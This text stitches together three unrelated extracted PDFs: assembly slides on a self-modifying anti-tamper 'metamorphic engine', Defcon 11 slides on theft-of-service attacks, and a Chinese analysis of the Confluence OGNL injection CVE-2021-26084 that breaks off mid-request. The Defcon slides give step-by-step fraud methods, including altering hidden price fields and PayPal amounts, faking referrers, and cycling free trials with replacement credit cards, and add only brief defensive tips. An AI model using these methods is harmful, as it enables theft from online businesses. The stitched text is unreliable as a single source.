line7: movzx ebx, byte [edi+2] jmp long line8 line6: add ebx, ebx jmp long line7 line9: mov dword [esp+32], ebx jmp long line10 line15: ret jmp long line16 line14: nop jmp long line15 line13: pop eax jmp long line14 line12: nop jmp long line13 Third Morphing Stage Remote Code Evolution 36 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Self Modifying Body Polymorphism line1: xor edi, edi jmp long line2 line1: pushad pushf call line1_1 db 5 db 1 dd -1 db 0 dd 27 db 4 dd 3524080526 db 0 dd 7 db 2 dd 545547056 mov eax, 93 add ecx, eax mov eax, ecx mov ebx, 0x11223344 not ebx mov [ecx], ebx add ecx, 4 mov ebx, 0x11223344 ror ebx, 27 mov [ecx], ebx add ecx, 4 xor dword [ecx], 0x11223344 add ecx, 4 mov ebx, 0x11223344 ror ebx, 7 mov [ecx], ebx add ecx, 4 add dword [ecx], 0x11223344 add ecx, 4 jmp eax line1_2: popf popad xor edi, edi jmp long line2 nop . . . 20*nops nop line1_1: mov ecx, [esp] nop nop mov dl, 0xe9 mov byte [ecx], dl mov edx, 0x00000058 mov dword [ecx+1], edx ret Random Obfuscation Keys db 5 db 1 dd -1 db 0 dd 27 db 4 dd 3524080526 db 0 dd 7 db 2 dd 545547056 Self modifying instructions mov eax, 93 add ecx, eax mov eax, ecx mov ebx, 0x11223344 not ebx mov [ecx], ebx add ecx, 4 mov ebx, 0x11223344 ror ebx, 27 mov [ecx], ebx add ecx, 4 xor dword [ecx], 0x11223344 add ecx, 4 mov ebx, 0x11223344 ror ebx, 7 mov [ecx], ebx add ecx, 4 add dword [ecx], 0x11223344 add ecx, 4 jmp eax line1_1: mov ecx, [esp] nop nop mov dl, 0xe9 mov byte [ecx], dl mov edx, 0x00000058 mov dword [ecx+1], edx ret Self Modifying Forth Morphing Stage 37 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Self Modifying Blocks Obfuscation Keys Self modifying code All blocks have same identical structure One block per morphed instruction Fifth Morphing Stage 38 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Self Modifying Blocks 39 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Response Time [+] mutated code size: 15110 bytes [+] encrypted response: 0x09575e31 | 156720689 [+] decrypted response: 0x00000001 | 1 [+] remote execution response time: 6.685972 ms [+] mutated code size: 17771 bytes [+] encrypted response: 0x5820b6b5 | 1478538933 [+] decrypted response: 0x00000001 | 1 [+] remote execution response time: 6.040096 ms [+] mutated code size: 23814 bytes [+] encrypted response: 0x5d844e9a | 1568951962 [+] decrypted response: 0x00000001 | 1 [+] remote execution response time: 6.897926 ms [+] mutated code size: 19768 bytes [+] encrypted response: 0x818af8d8 | -2121598760 [+] decrypted response: 0x00000001 | 1 [+] remote execution response time: 6.177187 ms 40 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Variable Code Size [+] mutated code size: 15110 bytes [+] encrypted response: 0x09575e31 | 156720689 [+] decrypted response: 0x00000001 | 1 [+] remote execution response time: 6.685972 ms [+] mutated code size: 17771 bytes [+] encrypted response: 0x5820b6b5 | 1478538933 [+] decrypted response: 0x00000001 | 1 [+] remote execution response time: 6.040096 ms [+] mutated code size: 23814 bytes [+] encrypted response: 0x5d844e9a | 1568951962 [+] decrypted response: 0x00000001 | 1 [+] remote execution response time: 6.897926 ms [+] mutated code size: 19768 bytes [+] encrypted response: 0x818af8d8 | -2121598760 [+] decrypted response: 0x00000001 | 1 [+] remote execution response time: 6.177187 ms 41 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Response Mutation [+] mutated code size: 15110 bytes [+] encrypted response: 0x09575e31 | 156720689 [+] decrypted response: 0x00000001 | 1 [+] remote execution response time: 6.685972 ms [+] mutated code size: 17771 bytes [+] encrypted response: 0x5820b6b5 | 1478538933 [+] decrypted response: 0x00000001 | 1 [+] remote execution response time: 6.040096 ms [+] mutated code size: 23814 bytes [+] encrypted response: 0x5d844e9a | 1568951962 [+] decrypted response: 0x00000001 | 1 [+] remote execution response time: 6.897926 ms [+] mutated code size: 19768 bytes [+] encrypted response: 0x818af8d8 | -2121598760 [+] decrypted response: 0x00000001 | 1 [+] remote execution response time: 6.177187 ms 42 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret The Remote Metamorphic Engine Artificial Immunity | Detecting the non-self 1st 2nd 3rd 4th 5th 6th 7th Mutations 156720689 147853893 15689519 -21215987 10778328 -689519 11979087 Responses 0 0 0 0 137106 0 0 Decrypted Tampered non-self 43 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret The Remote Metamorphic Engine Artificial Immunity | Detecting the non-self 1st 2nd 3rd 4th 5th 6th 7th Mutations 47 ms 65 ms 52 ms 106 ms 579 ms 39 ms 53 ms Response Time <500 ms <500 ms <500 ms <500 ms >500 ms <500 ms <500 ms Emulated non-self Time Threshold Instrumented 44 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret The Remote Metamorphic Engine Artificial Immunity | Detecting the non-self 1st 2nd 3rd 4th 5th 6th 7th Mutations 521 ms 608 ms 492 ms 567 ms 65 ms 622 ms 545 ms Response Time >200 ms >200 ms >200 ms >200 ms <200 ms >200 ms >200 ms Time Threshold Emulated non-self 45 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret { Questions? } 46
pdf
Theft Of Service Attacks Subscription Service & Website Vulnerabilities Presented at Defcon 11 by: Robert Sheehy rjs@zendtech.com Zendtech Services www.zendtech.com Presentation updates are available at: http://www.zendtech.com/defcon11/tos Theft Of Service Attacks What Are Theft Of Service Attacks?  Application Level Attack  Attacker Gains Increased Access To Restricted or Limited Resources  Opportunistic Attack  Typically does not result in system administration access. Example Targets for TOS Attack  Software Registrations & Downloads  Adult Web Sites  Web Hosting Accounts  Proxy/Anonymity Services  Dial-up Internet Service  Email/Usenet Service  Shell Accounts  Financial News Services  Domain Name Registrations What Is Stolen?  Increase access to a service providers systems (Shell Accounts)  Avoidance Of DNS Registration Fees  Usenet Access  Dial-up Internet Access  Web hosting (for data piracy & pornography storage, e-mail spamming, ect...)  Increased Access to restricted content  Software Security Holes Commonly Used for ToS attacks  Instant Account Creation Vulnerabilities  Subscription Data In HTML Forms  Authentication data stored in user cookies  Paypal Subscription Payments  Application, Server & or Operation System specific vulnerability exploits. Obscuring The Attack  Putting in the order during a holiday weekend Backlog of orders from a long holiday weekend may result in less attention to order details Even if there is human review, the attack might be overlooked during high sales volume Who Is The Attacker?  A Technically Savvy Customer.  A Competitor.  An e-mail spammer or other criminal.  Someone looking for a deal.  A legitimate customer‟s friend. Theft of Service Attack Types  Software Copy Protection Circumvention  Abuse Of A Legitimate Account  Bypassing the Billing System  User defined changes to the subscription terms or price. Copy Protection Circumvention  Cracks & Serial Number Websites www.astalavista.box.sk www.cracks.am www.cerials.net www.cracks.wz  Piracy Newsgroups on Usenet alt.binaries.cracks alt.binaries.warez.0-day alt.binaries.cd.image Abuse of a Legitimate Account  Choosing “login”/”password” as your username/passwd pair. Makes remembering passwords much easier. Allows for anonymous account sharing. Makes the admin feel dumb when they find it. Abuse of a Legitimate Account  Multiple Users of a single user account Easy to detect, if the effort is made. Normally results in account termination for Terms Of Service violation if detected.  Account sharing is less likely to occur if the account exposes customer‟s data, such as home address or credit card number.  Cookie Poisoning Alter cookie data to assume identity of a subscribing user Cookie Editor v1.5  Available from http://www.proxoft.com/CookieEditor.asp WinHex  Ability to edit non-persistent cookies in memory.  Available from http://www.sf-soft.de/ Bypassing The Billing System Bypassing The Billing System  Free Trial Accounts Open to repeated use and abuse User is disqualified if they have previously used the same credit card or mail address for a previous free subscription  Open to repeated credit card fraud (especially if nothing is actually charged).  New credit cards with new numbers are also easy to obtain.  New Email addresses are easy to obtain.  Application Specific Attacks Bugs in the account signup process “Account Verification” pages that can be used to reactivate cancelled accounts. Subscription & Account Maintenance  Account Upgrade/Downgrade may be open to attack, while the initial subscription process is secure. Bypassing The Billing System Subscription Specific Attacks  Alter subscription terms  Premium Account at Basic Account Price  Yearly Account at monthly account price  Attacking the re-subscription process  Attacking user verification pages Subscribe to a yearly account 24 hours later, cancel the account Use verify page to reactivate account HTM Form Alteration Attacks  For “GET” forms, change URL parameters  For “POST” forms, view the HTML source, and change the value of the Hidden input types.  type=“hidden” OR type=hidden ( “ char is optional) HTM Form Alteration Attacks  For “GET” forms, change URL parameters  http://website.com/script.cgi?var1=value1&var2=value2  For “POST” forms view the HTML source in text editor change the value of the “hidden” input types. <input type=“hidden” name=“price” value=“19.95”> HTTP_REFERER  Used to validate that form was loaded from proper domain  EASY TO DEFEAT!  HTTP_REFERER variable used to flag suspicious orders for further human review.  Just because HTTP_REFER is wrong does not mean the order is fraudulent. HTTP_REFER faking method #1  Place edited HTML form source onto web server.  Change hosts file to map expected domain name to the new server.  Load the Page using the proper URL.  Remove hosts file entry.  Wait for DNS cache to expire, or flush the cache, then submit altered form to the target site. HTTP_REFER faking method #2  Method utilizes browser proxy Support  Edit hosts file as in method #1  Load altered page from your web server  Enter proxy server information  Submit Form  Proxy will not use hosts information, and will send altered form data with a faked HTTP_REFER. Automatic Form Submission Using the lynx and echo commands. echo “email=first.last@somehwere.com&\ username=username&\ password=tmp-passwd&&\ passconfirm=tmp-passwd&\ Submit=Submit\n---\n" \ | lynx -post_data http://somesite.com/form.cgi  Quotes Are Important (because of & Characters)  Pipe echo command output to lynx Combination Of Attacks  Change subscription period from monthly to a yearly subscription.  Change the subscription options to buy a “premium” account at the “basic” price.  Transaction will look normal on casual inspection of the billing records. O’Reilly’s Safari Bookshelf Security  System tries to enforce a “No Offline Archiving” policy, detailed in their Terms Of Service Agreement.  Three strikes your out if the system detects massive downloading  Session Limit (One login allowed – Cookie Based session tracking)  Restriction On Library Access - Can only select X number of titles for access (X varies with subscription type) Books must be kept on bookshelf for 30 days  Does not matter if you cancel the account every month.  Just create a brand new account every month  If reusing a credit card, you will not have any waiting time for bookshelf slots to open.  If using a new card, you get a new 14-day trial. Beating Safari’s Security  Free Trial Account Abuse – Bypass Billing Get a new e-mail address Sign Up for 14-day trial with a new CC. Pick the books to fill your 10 bookshelf slots. Use Offline Explorer to make an offline copy. Cancel the account before the trial expires. Cancel CC – Get a replacement from your bank with new numbers. Repeat when new card arrives. Beating Safari’s Security Beating Safari’s Security  Offline Explorer – metaproducts.com Used 2.8.1220 Service Release 1 during testing. Demo version is usable Wget not successfully tested – Gave up  Only One Open HTTP Connection Used  30 Second Delay between file retrieval  Used the ISBN number as URL filter sortOrder=asc&view=&xmlid=0-7357 sortOrder=asc&view=&xmlid=0-596  Started at the bookshelf, went 5 levels deep  Only One Open HTTP Connection Used  30 Second Delay between file retrieval  Use the ISBN number for URL filter “sortOrder=asc&view=&xmlid=0-7357” “sortOrder=asc&view=&xmlid=0-596” xmlid is the ISBN number of the book.  Start at the bookshelf, go 5 levels deep Beating Safari’s Security  The idea of Digital Rights Management is unenforceable without causing major inconveniences to legitimate users.  DRM objectives conflicts with easy of use designs.. Beating Safari’s Security ITKnowledge.com  Offered 14 Day Trial – Once per credit card # Similar to O‟Reilly.  Unsuccessful Attempt to stop offline archiving via login cookies. Easily defeated.  Subscribers received complete access to entire library. ITKnowledge.com  Created Their Own Security Hole Sent e-mail to previous subscribers who cancelled during the 14-day evaluation period offering another 14-day free trial No Credit Card Required For Signup The 2nd 14-day free trial never expired The signup for the 14-day trial never ended. ITKnowledge went out of business User‟s have full access to entire library for free, normally costing $295 a year. eBay Seller Fee Avoidance  Use of the non-baying bidder form negates the eBay listing fees.  Refund system seems to be automated.  Buyer could be given a discount to not report fraud.  No incentive for buyer to report seller fraud when they are compensated by the buyer. Software Theft With Paypal  Depending upon implementation, users are paying a fee to learn the value of the “return” HTML form variable.  Automated Key Return & Paypal is often exploitable by changing the price.  A legitimate, but small, payment is made for an order. The system acknowledges payment, but does verify the correct amount was paid.  View Page Source, look for paypal URL: https://www.paypal.com/cart/add=1&business=paypal% 40finite- tech.com&item_name=IPSec+Client+Software&item_ number=ASL-IPSEC-CLIENT- WIN&amount=90.00&shipping=12.00&return=http%3A //www.chillywall.com/success.html&cancel_return=http %3A//www.chillywall.com/cancel.html„  return=http://www.chillywall.com/success.html Software Theft With Paypal Purchase Success Thank you for your purchase of ChillyWall and/or our other security products. If you purchased a ChillyWall this unit will ship to the address that was indicated on your order typically within 2 working days. If you purchased Astaro Security Linux Software you can download the software here. Your license will be e- mailed to you within 2 working days. You can proceed with your Astaro installation since the download is a 30 evaluation which can be activated for all features purchased when you enter your license. If you purchased VPN Client software then the following links will provide you with the software and documentation. Software User Manual Release Notes Paypal Subscription Payments  Purchase of the paypal guarantee May expose bugs in payment processing Valid only for physical items, effects of purchase may not be tested in subscription system.  A legitimate, but small, payment is made. The system acknowledges payment, but does verify the correct amount was paid – Just assumes it was. <form action="https://www.paypal.com/cgi-bin/webscr" method="post"> <input type="hidden" name="cmd" value="_xclick-subscriptions"> <input type="hidden" name="business" value=“paypal@zendtech.com"> <input type="hidden" name="item_name" value="Web Hosting"> <input type="hidden" name="item_number" value="WebHost11"> <input type="image" src="pics/x-click-but20.gif" border="0" name="submit"> $295.00 <input type="hidden" name="a1" value="0.00"> Setup Fee <input type="hidden" name="p1" value="2"> Valid for 2 <input type="hidden" name="t1" value="M"> Months <input type="hidden" name="a3" value="295.00"> Re-occurring Fee <input type="hidden" name="p3" value="1"> Billed Once <input type="hidden" name="t3" value="Y"> a year <input type="hidden" name="src" value="1"> <input type="hidden" name="sra" value="1"> </form> Finding Vulnerable Systems  Internet Search Engines New sites directory listing Searching for vulnerable site criteria (example: Instant or Immediate Activation / Paypal Use / Subscriptions )  Selfseek Web Search Spider (illumix.com)  Systems you use (or want to use) everyday. Preventing Form Alteration Method #1 Variable Change Detection  CRC checksum of form variables Open to reverse engineering attacks. Does not guarantee security, just makes a possible attack more complex.  Checking the HTTP Referrer URL Can be easily faked Preventing Form Alteration Method #2 Not Using Form Variables  It‟s the “right” way. Extra programming and complexity is required for the server to track user sessions. Security is not guaranteed, systems could still be vulnerable to other forms of attack. Credit Card Payment Attack  Possible Attacks Credit Card Fraud Price Alteration Avoiding Payment Subscription Term Extension  Especially vulnerable when using hidden form inputs for payment parameters. How To Spot ToS Attacks  Audit existing orders/subscriptions to verify subscription parameters have not been altered.  Do not trust what your custom application tells you, it may be lie.  Look for sudden increases in system utilization.  Make sure whomever processes orders knows to verify the amount paid is the amount owed. Detecting Credit Fraud  Have all order verified by human eyes  Follow all security procedures from credit merchant How To Protect Against ToS  Verify All Orders Manually  Regularly Audit Account Activity  Do not trust the security of your system automation.  Do not overlook accounting inconsistencies, they may be indicators of fraud. Attack Response Options  Depends Upon nature of the attack How abusive was the attack? “Login”/”Password” is not really fraud Account Cancellation may be only option Fixing security whole, may be only option. Can the user be tracked down? Will law enforcement care? Will the publicity of the hack be worse then the hack itself. Attack Response Options  Ignore The Attack Let all users continue discounted subscription  Account Cancellation  Account Modification  Back Billing Recovering Losses  Back Billing Customer  Involve Law Enforcement  Write off the loss Most often there is no way to recover losses. Considered to be the victims fault for being a victim. DirecTV Theft Of Service  Thousands Of DirecTV Customers Sued Threatening Letter Intimidation Tactic Millions Have Been Paid Already To Settle No proof, other then purchase records, no proof of actual use  Can They Do This?  Will The Get Away With IT? DirecTV Theft Of Service DirecTV Lawsuit Information  www.legal-rights.org  http://www.legal- rights.org/PAYPAL_AFFIDAVIT.html  Very simple attacks  Security Oversights in newer sites  Hit and miss attack, more an annoyance then a real problem to most retailers.  Victim system admin gets little sympathy from law enforcement or colleagues. Final Points Final Points  Sites vulnerable to ToS attacks are usually vulnerable to other simple attacks.  Most likely effective on newer websites that use a custom application or misconfigured 3rd party product. Final Points  Easy to perform  Depending upon attack, legal fraud is not always committed (It‟s generally considered the victims fault for not taking basic security precautions.)  A company could be put out of business with the time it takes them to notice a vulnerability has been discovered.
pdf
Atlassian Confluence(简称Confluence)是⼀个专业的wiki程序。它是⼀个知识管理的⼯具,通过它 可以实现团队成员之间的协作和知识共享。本次漏洞为 Ognl 表达式注⼊,攻击者可未授权通过 Ognl 表达式在服务器上执⾏任意代码。 影响版本: version < 6.13.23 6.14.0 ≤ version < 7.4.11 7.5.0 ≤ version < 7.11.5 7.12.0 ≤ version < 7.12.5 环境搭建 执⾏下载的 bin ⽂件后,选择⼿动安装,并指定安装路径和服务运⾏端口,安装完成后执⾏ /atlassian/jira/atlassian-jira-8132/jira/bin/start-jira.sh ⽂件即可启动服务。在 /atlassian/confluence7123/confluence/bin/catalina.sh ⽂件开头添加如下语句即可开启 Debug 模式。 这⾥选择⽤ mysql 数据库,安装的时候需要先先创建数据库,并设置 tx_isolation='READ- COMMITTED' 。⾃⾏下载 mysql-connector-java-5.1.48.jar 并放置 /atlassian/confluence7123/confluence/confluence/WEB-INF/lib/ ⽬录下。 补丁选择 CATALINA_OPTS="- agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=9999" mysql> create database fluence7123 CHARACTER SET utf8 COLLATE utf8_bin; mysql> SET GLOBAL tx_isolation='READ-COMMITTED'; 先来看下 官⽅漏洞描述 ,这⾥注意到官⽅说了本次漏洞为 Ognl 表达式注⼊,CVE 编号为 CVE-2021- 26084 ,7.12.x 的修复版本为 7.12.5 。 那么在翻看通告下⾯评论的时候,发现这个漏洞之前在 7.12.4 版本就修复过⼀次,CVE 编号为 CVE- 2021-26077 ,个⼈猜测之前的修复代码可能存在绕过。这⾥为了避免修复代码的⼲扰,选择 7.12.3 (完全没修复)和 7.12.5 (完全修)这两个版本进⾏代码差异对⽐。 补丁分析 继续翻看信息,会发现官⽅还出了 离线补丁 (内容⼤致如下)。看了下⼤概,补丁基本上是字符串匹配 替换,修改的都是 .vm 后缀的⽂件。 在安装好 7.12.3、7.12.5 两个版本后,先⽤ find 命令找到 .vm ⽂件所在的⽬录。 然后使⽤ diff 命令对⽐⽬录下的所有⽂件。可以看到,修复⽅式基本上就是把 $ 符号给去掉。 .vm 后缀的⽂件,⼀般是 velocity 模板⽂件,$action 则是 velocity 上下⽂中的⼀个变量,⼀般在进 ⾏模板渲染前会设置到 context ⾥⾯。这⾥的 $action 则是当前访问路由对应的具体 Action 类。 $action.backupPath 则表⽰取 Action 类的 backupPath 属性值。 寻找路由 这⾥我们选择第⼀处模板 /admin/editdailybackupsettings.vm 来分析。⾸先,我们得先找到这个模 板对应的 action 。通过路径名,我们可以猜测该功能是管理员才有的类似编辑备份设置的功能。这⾥ 也确实在后台找到了这⼀功能,但是这⼀功能默认不开启。按照 官⽅⽂档 开启即可。 点击编辑并抓包,数据包⼤致如下: 我们使⽤ grep -Rni editdailybackupsettings 命令全局搜索,看下这个路由是否配置在某个⽂件⾥ ⾯。不过在执⾏该命令之前,我们需要先将所有的 jar ⽂件解压。因为,有些时候⼀些配置⽂件会放置 在 jar 包⾥⾯,grep 命令是⽆法精确搜索 jar ⾥⾯的字符串。很快我们便发现 confluence- 7.12.3.jar!/xwork.xml ⽂件,⾥⾯配置了不同请求对应的具体模板。直接在⽂件中搜 /admin/editdailybackupsettings.vm ,命中的有3条。 按照配置⽂件,我们可以清晰的看到路由与模板的关系。假设我们访问 /admin/editdailybackupsettings.action ,那么程序将会调⽤ com.atlassian.confluence.admin.actions.DailyBackupAdminAction#doDefault() ⽅法。如果 该⽅法执⾏完返回 success ,那么就由 /admin/editdailybackupsettings.vm 模板渲染结果。所 以, $action.backupPath ,对应的就是 DailyBackupAdminAction#backupPath 属性。 那我们怎么给 backupPath 属性赋值呢?我们去看 DailyBackupAdminAction 继承的类,发现其继 承的是 Struts 框架的 ActionSupport 类。那么我们直接通过 HTTP 请求传相同名字的参数即可。 POST /admin/editdailybackupsettings.action HTTP/1.1 Host: 127.0.0.1:11111 Content-Length: 74 Cookie: JSESSIONID=8F0BED13740956694A28DE2DFD62AA92 Connection: close atl_token=e93f57dc0294d03f2c54b6651cfd2f30ab23f68d&edit=%E7%BC%96%E8%BE%91 tag标签 搞清楚路由和模板的关系后,我们再仔细观察刚才的补丁,就会发现所有修复的地⽅都在 #tag(xxx) 。 这个 tag 有可能是宏,也有可能是标签。通过阅读官⽅⽂档,发现这并不是 velocity ⾃带的语法。所 以, #tag(xxx) 很有可能是⾃定义的宏或标签,我们需要先找到它。 velocity ⾃定义宏的写法如下: 但是通过全局搜索,我们并没有找到类似的定义,于是转向⾃定义标签。在 velocity 中,⾃定义的标签 需要继承 org.apache.velocity.runtime.directive.Directive 类,并且需要在 velocity.properties ⽂件中配置。通过搜索,确实在 /WEB-INF/classes/velocity.properties 中找到了 tag 指令对应的 类: com.opensymphony.webwork.views.velocity.TagDirective 。 velocity ⾃定义的标签必须实现 Directive 类的 getName()、getType()、render() 三个⽅法。 getName() ⽅法表⽰标签的名字;getType() ⽅法则表⽰是⾏标签(LINE) 还是块标签(BLOCK); render() ⽅法则⽤来实现标签的具体处理逻辑。所以我们在 TagDirective#render() 中下断点,看看 这个标签是如何处理的。 漏洞触发 #macro( tag ) <tr><td></td></tr> #end #tag() 这⾥我们在⾃定义的路径中注⼊ Ognl 表达式,点击提交(数据包如下),会发现提⽰ Backup path specified does not exist. 对应数据包如下: 这是因为在 com.atlassian.confluence.admin.actions.DailyBackupAdminAction#validate() 中,会对路径是否存在进⾏检查。在 Windows 系统中,我们可以使⽤ C:/Windows/{1+1}/../temp 绕 过检查,而 Unix 系统则不⾏。我的运⾏环境是 Linux ,所以直接在调试的时候⼿动绕过这个判断就⾏ (在运⾏到 !backupPathFile.exists() 这⼀⾏的时候,执⾏ backupPathFile=new File("/tmp"); )。 POST /admin/doeditdailybackupsettings.action HTTP/1.1 Host: 127.0.0.1:11111 Content-Length: 222 Cookie: 